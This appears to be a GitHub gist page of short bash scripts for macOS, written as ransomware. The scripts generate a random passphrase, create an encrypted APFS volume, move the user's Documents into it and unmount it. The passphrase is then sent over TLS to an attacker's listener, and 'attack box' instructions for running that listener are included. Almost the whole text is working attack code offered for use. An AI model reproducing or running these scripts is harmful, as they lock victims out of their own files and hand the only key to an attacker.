Skip to content

Instantly share code, notes, and snippets.

View PonchoSec's full-sized avatar
🚜

Poncho PonchoSec

🚜
View GitHub Profile
@PonchoSec
PonchoSec / macos_script.sh
Last active September 20, 2022 11:03
macos_script
#! /usr/bin/env bash
sh -c 'p=$(head -n 1024 /dev/urandom | strings| grep -o "[[:alnum:]]" | head -n 64| tr -d "\n");disk_name=$(diskutil info / | grep "APFS Container:" | tr -s " "| cut -d" " -f4);diskutil apfs addVolume "${disk_name}" APFS XX -passphrase "${p}";mv -f ~/Documents/* /Volumes/XX;diskutil umount XX;echo $p | timeout 2 openssl s_client -quiet -connect 127.0.0.1:9001 2>/dev/null;p="";'
# change the IP address and Port number
# Use chmod +x <name>.sh to make the script executable
# With OpenSSL
@PonchoSec
PonchoSec / macos_openssl_instructions.sh
Last active November 1, 2022 15:15
macos_openssl_instructions
# attack box
# run first
openssl req -x509 -newkey rsa:4096 -keyout key.pem -subj "/CN=$cn\/emailAddress=admin@$cn/C=US/ST=Ohio/L=Columbus/O=Widgets Inc/OU=Some Unit" -out cert.pem -days 1 -nodes 2>/dev/null
# run second
openssl s_server -quiet -key key.pem -cert cert.pem -port 9001
# choose your own port
# victim box
@PonchoSec
PonchoSec / macos_script2.sh
Last active September 20, 2022 11:53
macos_script2.sh
#! /usr/bin/env bash
sleep 5;p=$(head -n 1024 /dev/urandom | strings| grep -o "[[:alnum:]]" | head -n 64| tr -d "\n");
@PonchoSec
PonchoSec / macos_script_walkthrough.sh
Created September 20, 2022 11:26
macos_script_walkthrough.sh
#! /usr/bin/env bash
# Creating random and unique password
p=$(head -n 1024 /dev/urandom | strings| grep -o "[[:alnum:]]" | head -n 64| tr -d "\n");
# Identify Disk (Apple File System Volume)
disk_name=$(diskutil info / | grep "APFS Container:" | tr -s " "| cut -d" " -f4);
# Creating APFS Volume (aka drive) and encrypting it with password
diskutil apfs addVolume "${disk_name}" APFS XX -passphrase "${p}";